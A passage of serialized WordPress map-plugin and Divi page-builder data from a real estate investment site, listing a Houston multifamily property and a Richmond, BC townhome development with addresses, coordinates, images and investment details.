Champion Forest\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2022\/03\/Parc-at-Champion-Forest-1-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"15330 Bammel North Houston Rd, Houston, TX 77014, USA\",\"%_wpgmp_location_city%\":\"Houston\",\"%_wpgmp_location_state%\":\"Texas\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"29.9931946\",\"%_wpgmp_metabox_longitude%\":\"-95.48439909999999\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"12183\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"12297\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.11.3\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10667\",\"%_edit_lock%\":\"1647265671:1\",\"%_pingme%\":\"1\",\"%_encloseme%\":\"1\",\"%_edit_last%\":\"1\",\"%_et_builder_module_features_cache%\":[\"{\"gph\":-1,\"divi\":\"4.11.3\",\"wp\":\"5.8.4\",\"tb\":{\"8767\":\"2022-03-14 20:34:30\"}}\",{\"et_pb_section_51d2b5b3e10199d7e54d9dc8f0b81350\":{\"mawi\":true,\"bosh\":true,\"anim\":true},\"et_pb_row_9ce2c02807bc60b3c2e23256c6a6f0e9\":{\"mawi\":true,\"bosh\":true,\"anim\":true},\"et_pb_column_753f21361e770a4d2df3a45540d101ea\":{\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_image_d31ae355d754d07d40be2219069726a3\":{\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_image_69afeb9a356ebceb43d7ece3508b10c2\":{\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_column_20747029d36eeda1b38824278d343ba8\":{\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_text_bcc8d8c6f3912451c9021ba296baa819\":{\"glde\":{\"text_font_size\":\"14\",\"text_letter_spacing\":\"0px\",\"text_line_height\":\"1.7em\",\"header_font_size\":\"30px\",\"header_letter_spacing\":\"0px\",\"header_line_height\":\"1em\",\"background_size\":\"cover\",\"background_position\":\"center\",\"background_repeat\":\"no-repeat\",\"background_blend\":\"normal\"},\"foop\":true,\"tesh\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_code_bcc8d8c6f3912451c9021ba296baa819\":{\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_section_ed3b28930c4702f26cbc111787fb1000\":{\"mawi\":true,\"bosh\":true,\"anim\":true},\"et_pb_row_467d928cf5f8897650c1058f0f92e2a8\":{\"mawi\":true,\"bosh\":true,\"anim\":true},\"et_pb_column_6f60fcc098d55991948a5e43e91bc4e7\":{\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_image_858e620f999367bd4588e4db3e73633b\":{\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_text_44495cbced215c5c7bb06df4d105a670\":{\"glde\":{\"text_font_size\":\"14\",\"text_letter_spacing\":\"0px\",\"text_line_height\":\"1.7em\",\"header_font_size\":\"30px\",\"header_letter_spacing\":\"0px\",\"header_line_height\":\"1em\",\"background_size\":\"cover\",\"background_position\":\"center\",\"background_repeat\":\"no-repeat\",\"background_blend\":\"normal\"},\"foop\":true,\"tesh\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_button_5f77e9d8e72142f40aeda53d570967c2\":{\"tesh\":true,\"but\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_section_ffb2736d93f42093aef4e5c49d75d4da\":{\"bor\":true,\"mawi\":true,\"bosh\":true,\"anim\":true},\"et_pb_row_d5ee565a4b2d1a81d284d8dca3615eaf\":{\"mawi\":true,\"bosh\":true,\"anim\":true},\"et_pb_column_07d12dd7c20ff919e568d0817bdfd1c5\":{\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_image_2d4e71b2f5c902f3a5c2b015d5a3c1be\":{\"cuma\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"mapac\":true,\"anim\":true},\"et_pb_image_9144e7026a1d9cb845ba92cbfb210a44\":{\"cuma\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"mapac\":true,\"anim\":true},\"et_pb_image_35b8619ce87792aa575aa896994dfc5b\":{\"cuma\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"mapac\":true,\"anim\":true},\"et_pb_image_faa8fd544377c03b8f6c61713c955f0a\":{\"cuma\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"mapac\":true,\"anim\":true},\"et_pb_row_a9aa65904bc1ba6a00d2960155221ea9\":{\"mawi\":true,\"bosh\":true,\"anim\":true},\"et_pb_column_4f642ecc3b6e7ad3ddd4afca16a126f9\":{\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_text_1b7f485beba060e54112b944d4745de6\":{\"glde\":{\"text_font_size\":\"14\",\"text_letter_spacing\":\"0px\",\"text_line_height\":\"1.7em\",\"header_font_size\":\"30px\",\"header_letter_spacing\":\"0px\",\"header_line_height\":\"1em\",\"background_size\":\"cover\",\"background_position\":\"center\",\"background_repeat\":\"no-repeat\",\"background_blend\":\"normal\"},\"foop\":true,\"tesh\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_text_48aeefc302ba3e907e4178ac0d351ebc\":{\"glde\":{\"text_font_size\":\"14\",\"text_letter_spacing\":\"0px\",\"text_line_height\":\"1.7em\",\"header_font_size\":\"30px\",\"header_letter_spacing\":\"0px\",\"header_line_height\":\"1em\",\"background_size\":\"cover\",\"background_position\":\"center\",\"background_repeat\":\"no-repeat\",\"background_blend\":\"normal\"},\"foop\":true,\"tesh\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_text_edab3e87e9c74878e1080d35d056063e\":{\"glde\":{\"text_font_size\":\"14\",\"text_letter_spacing\":\"0px\",\"text_line_height\":\"1.7em\",\"header_font_size\":\"30px\",\"header_letter_spacing\":\"0px\",\"header_line_height\":\"1em\",\"background_size\":\"cover\",\"background_position\":\"center\",\"background_repeat\":\"no-repeat\",\"background_blend\":\"normal\"},\"foop\":true,\"tesh\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_text_a3f7e4da05cb0a1ded89bb4dc7445f70\":{\"glde\":{\"text_font_size\":\"14\",\"text_letter_spacing\":\"0px\",\"text_line_height\":\"1.7em\",\"header_font_size\":\"30px\",\"header_letter_spacing\":\"0px\",\"header_line_height\":\"1em\",\"background_size\":\"cover\",\"background_position\":\"center\",\"background_repeat\":\"no-repeat\",\"background_blend\":\"normal\"},\"foop\":true,\"tesh\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_social_media_follow_network_475a8921ddd7b6bfe813e83b21c7410f\":{\"tesh\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_social_media_follow_network_776180fe3c0ccd214e238988b0a6117d\":{\"tesh\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_social_media_follow_network_86ffcaed722a4521ab7b91ac9d2f5546\":{\"tesh\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_social_media_follow_network_585ac7f0328f54c38f9036fe6b0b26a9\":{\"tesh\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_social_media_follow_network_03db292f8fafe6f862d3dfcb739dbaf3\":{\"tesh\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_social_media_follow_b9050a88a3c0c91030dfedcd9eb610a0\":{\"tesh\":true,\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_image_b3902da302324f7807e264057f8f5dca\":{\"mawi\":true,\"bosh\":true,\"pos\":true,\"anim\":true},\"et_pb_text_85ee6f5326456be791dee857a4c741b3\":{\"glde\":{\"text_font_size\":\"14\",\"text_letter_spacing\":\"0px\",\"text_line_height\":\"1.7em\",\"header_font_size\":\"30px\",\"header_letter_spacing\":\"0px\",\"header_line_height\":\"1em\",\"background_size\":\"cover\",\"background_position\":\"center\",\"background_repeat\":\"no-repeat\",\"background_blend\":\"normal\"}}}],\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":12297,\"custom_filters\":[],\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"1_image\" width=\"300\" height=\"194\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-300x194.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" disabled_on=\"on|on|on\" _builder_version=\"4.9.0\" _module_preset=\"default\" disabled=\"on\"][\/et_pb_post_title][et_pb_post_title title=\"off\" author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h1 class='entry-title'>Kadium <span style=\"text-transform: none;\">No4<\/span> Road TownHomes<\/h1>[\/et_pb_text][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Richmond, British Columbia[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]-[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Ground-up Development[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"1_image\" width=\"300\" height=\"194\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-300x194.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_1 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_1 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_2 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11522\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_3 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg 1305w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-1280x823.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-980x630.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-480x309.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1305px, 100vw\" class=\"wp-image-11523\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_4 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 